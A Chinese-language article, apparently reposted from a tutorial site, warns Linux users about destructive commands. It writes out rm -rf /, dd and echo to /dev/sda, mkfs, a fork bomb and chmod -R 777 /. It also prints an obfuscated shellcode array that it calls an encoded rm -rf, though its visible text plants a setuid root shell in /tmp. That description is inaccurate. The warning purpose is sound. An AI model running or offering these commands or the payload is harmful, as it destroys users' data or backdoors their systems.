在Linux你擁有的工具使你能夠控制和修改操作系統(tǒng)的每一個(gè)方面。但如果你不熟悉這些命令和工具,你可以很容易地把你的系統(tǒng)摧毀。
想象一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應(yīng)允許孩子離開嬰兒床?那會(huì)對她的成長造成損害。
這就是父母設(shè)定界限和引導(dǎo)孩子的地方。不要靠近火堆,不要把手指戳到電源插座。
隨著孩子的成長和經(jīng)驗(yàn)的積累,她可以把爐子打開,在壁爐里生火,插上電源線。
同樣,如果你知道一些已知的風(fēng)險(xiǎn)命令,你可能會(huì)避免落入陷阱,他們試圖欺騙你運(yùn)行命令,擾亂你的系統(tǒng)。
當(dāng)你積累了經(jīng)驗(yàn),知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統(tǒng)的機(jī)會(huì)就會(huì)減少。
這里我們與你分享一些流行危險(xiǎn)的Linux命令。讓我們看看它們是如何干掉你的 Linux 系統(tǒng)的。
rm -rf /*
這個(gè)可能是在各種社交媒體上出現(xiàn)的最多的命令。你會(huì)經(jīng)常發(fā)現(xiàn)大佬們在各種討論中提及這個(gè)。
rm 命令用于刪除文件或者目錄。選項(xiàng)-r
和-f
表示遞歸地刪除指定目錄內(nèi)的所有文件。如果沒有root權(quán)限,這個(gè)命令造成任何傷害不大。
運(yùn)行命令sudo rm -rf /
也不會(huì)產(chǎn)生任何問題,因?yàn)榇蠖鄶?shù)發(fā)行版提供一個(gè)故障安全選項(xiàng)。你需要指定--no-preserve-root
才能運(yùn)行它。
它遞歸地刪除根目錄的所有文件,在一段時(shí)間后,你的系統(tǒng)會(huì)被凍結(jié),并顯示刪除文件錯(cuò)誤。重新啟動(dòng)系統(tǒng),你將被送到grub-rescue提示符。
sudo rm -rf / --no-preserve-root
sudo rm -rf /*
覆蓋你的分區(qū)
如果你熟悉文件系統(tǒng),你可能知道/dev/sda
是什么。通常是你的磁盤驅(qū)動(dòng)器。重定向操作符>
用于將其前面命令的標(biāo)準(zhǔn)輸出寫入指定設(shè)備文件。
但是你可能會(huì)在運(yùn)行命令時(shí)把它寫到/dev/sda
。例如你可能會(huì)運(yùn)行命令echo "Hello" > /dev/sda
。
命令將會(huì)把Hello
字符串替換/dev/sda
驅(qū)動(dòng)器的所有數(shù)據(jù),/dev/sda
驅(qū)動(dòng)器數(shù)據(jù)也就丟失。
echo "Hello" > /dev/sda
標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,標(biāo)準(zhǔn)錯(cuò)誤與重定向 | myfreax
0表示標(biāo)準(zhǔn)輸入。1表示標(biāo)準(zhǔn)輸出。2標(biāo)準(zhǔn)錯(cuò)誤。您可以使用這些文件描述符來控制程序或者腳本的輸入和輸出
myfreaxmyfreax
標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,重定向
把所有移動(dòng)到/dev/null
在每個(gè)Linux系統(tǒng)內(nèi)都有一個(gè)空設(shè)備文件。而這個(gè)空設(shè)備文件就是/dev/null
。通常稱它為黑洞。
無論你把什么東西移動(dòng)這個(gè)這個(gè)文件都會(huì)永遠(yuǎn)丟失。而且它在丟棄數(shù)據(jù)后會(huì)將寫入過程報(bào)告為成功,這是其破壞性的主要原因。
mv 命令用來移動(dòng)或重命名文件/目錄。命令mv /home/user/* /dev/null
把家目錄內(nèi)的所有文件都移到黑洞。雖然系統(tǒng)沒有被破壞,但你所有的個(gè)人數(shù)據(jù)都會(huì)丟失。
mv /home/user/* /dev/null
Linux mv命令移動(dòng)文件與目錄 | myfreax
移動(dòng)文件和目錄是您在Linux系統(tǒng)上經(jīng)常需要執(zhí)行的最基本的任務(wù)之一。在本教程中,我們將說明如何使用mv命令移動(dòng)文件和目錄。
myfreaxmyfreax
mv 命令移動(dòng)文件
格式化硬盤
mkfs是一個(gè)命令行工具,用于格式化磁盤和分區(qū)。它是一個(gè)超級方便的工具,可以為你創(chuàng)建分區(qū)。
但同樣的命令也可以格式化你的硬盤。格式化你的驅(qū)動(dòng)器意味著刪除系統(tǒng)啟動(dòng)所需的所有文件。
命令mkfs.ext3 /dev/sda
完成了它的工作,而你最終得到了一個(gè)無法恢復(fù)的混亂的系統(tǒng)。
mkfs.ext3 /dev/sda
如何創(chuàng)建磁盤分區(qū)在Linux | myfreax
安裝新的SSD或硬盤后,您需要做的第一件事就是對其進(jìn)行分區(qū)。每個(gè)驅(qū)動(dòng)器至少需要一個(gè)分區(qū),然后才能對其進(jìn)行格式化并在其中存儲(chǔ)文件
myfreaxmyfreax
fdisk命令創(chuàng)建分區(qū)
fork 炸彈
:(){ :|:& };:
這個(gè)看起來很可愛的特殊字符和符號(hào)的隨機(jī)組合,足以通過耗盡系統(tǒng)資源來凍結(jié)一個(gè)正在運(yùn)行的系統(tǒng)。
&
是Shell后臺(tái)操作符。它通知Shell將命令放在后臺(tái)運(yùn)行。在這里定義一個(gè)叫做 :
的函數(shù)。
它調(diào)用自己兩次,一次在前臺(tái),一次在后臺(tái)。這個(gè)過程不斷地重復(fù)執(zhí)行,直到系統(tǒng)凍結(jié)。
顧名思義,它會(huì)自己fork,最終成為一個(gè)連鎖炸彈,吃掉了所有的系統(tǒng)資源。你將被迫重啟系統(tǒng),這并不像中其他命令那樣糟糕。
:(){ :|:& };:
覆蓋重要的配置文件
>
雖然這本身不是一個(gè)命令,但它更像是一個(gè)預(yù)防性的東西。如上所述,>
操作符是用來向文件寫入內(nèi)容。
>
操作符重寫文件中已經(jīng)存在的數(shù)據(jù),并將提供的新數(shù)據(jù)寫入文件中。如果你將一些重要的配置文件作為寫數(shù)據(jù)的地方,原始配置將會(huì)丟失,留下一個(gè)損壞的系統(tǒng)。
command > config_filename
用垃圾數(shù)填充換分區(qū)
/dev/random是Linux 的一個(gè)命令,它可以創(chuàng)建垃圾數(shù)據(jù)。把它和dd命令以及你的分區(qū)組合起來,你就得到了一個(gè)可以讓你的分區(qū)爆炸的燃燒彈。
dd命令被用作一個(gè)低級別的復(fù)制工具。在這里它從/dev/random
中獲取隨機(jī)數(shù)據(jù),并用這些垃圾數(shù)據(jù)替換/dev/sda
分區(qū)。
另一個(gè)實(shí)現(xiàn)類似效果的命令是cat /dev/urandom > filename
,在這里它從 /dev/urandom
獲取隨機(jī)數(shù)據(jù)并寫入一個(gè)文件。
如果不使用 Ctrl + C
終止,文件會(huì)占據(jù)相當(dāng)大的空間,這對低端系統(tǒng)來說可能是災(zāi)難性的。
/dev/urandom
和/dev/random
是一樣的設(shè)備文件
dd if=/dev/random of=/dev/sda
cat /dev/urandom > filename
Linux cat命令技巧與詳解 | myfreax
cat命令是Linux中最常用的命令之一,cat命令的名稱來自于concatenate。cat最常用于打印一個(gè)或多個(gè)文本文件的內(nèi)容
myfreaxmyfreax
將系統(tǒng)暴露所有人
在Linux,所有東西都是文件,每個(gè) 文件都有一定的權(quán)限。你可以運(yùn)行l(wèi)s命令ls -l
查看權(quán)限。
根文件系統(tǒng)是不允許沒有權(quán)限的用戶訪問的。雖然這保證系統(tǒng)的私密性和安全性,但你可以用一個(gè)命令顛覆這個(gè)系統(tǒng)。
命令chmod -R 777 /
將根分區(qū)上的所有文件暴露給所有人。這意味著每個(gè)使用該系統(tǒng)的人都有讀、寫和執(zhí)行的權(quán)限。這對你的系統(tǒng)是不利的。
chmod -R 777 /
Linux chmod 命令修改文件目錄權(quán)限 | myfreax
在Linux,通過文件權(quán)限,屬性和所有權(quán)來管理對文件的訪問
myfreaxmyfreax
下載并運(yùn)行惡意的內(nèi)容
你如何在Linux中安裝軟件?你可以使用官方的軟件包管理器,或者使用低級別的包管理工具如Deb/RPM、Snap、Flatpak等。
然而有些軟件是沒有打包的分發(fā)的,它們的開發(fā)者提供下載和安裝Shell腳本。你下載一個(gè)Shell文件,然后以root用戶運(yùn)行它。
這樣的命令會(huì)在你的系統(tǒng)中下載并運(yùn)行惡意腳本,這可能會(huì)破壞你的系統(tǒng)的安全性。
偽裝的命令
在Linux終端,有許多方法可以運(yùn)行命令。其中一種方式是十六進(jìn)制編碼的命令。
雖然它看起來很花哨,但這是rm -rf
命令另一個(gè)編碼版本。它的效果與運(yùn)行前面的命令相同。
因此,在從互聯(lián)網(wǎng)上復(fù)制和粘貼這些花哨的命令時(shí),要小心謹(jǐn)慎。因?yàn)闅w根結(jié)底,還是要靠用戶來保證,不要盲目地運(yùn)行任何危險(xiǎn)的命令而破壞系統(tǒng)。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68”
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99”
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7”
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56”
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31”
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69”
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那么UNIX的工作就是以它所知道的最有效的方式將石頭砸到腳上。
-
Linux
+關(guān)注
關(guān)注
88文章
11576瀏覽量
216636 -
操作系統(tǒng)
+關(guān)注
關(guān)注
37文章
7258瀏覽量
127862 -
命令
+關(guān)注
關(guān)注
5文章
745瀏覽量
23304
發(fā)布評論請先 登錄
介紹一些實(shí)用的Linux命令

Linux關(guān)機(jī)命令詳解
學(xué)習(xí)管理 docker 容器的一些命令
根據(jù)一些簡單的實(shí)例來討論 Linux rmdir 命令

評論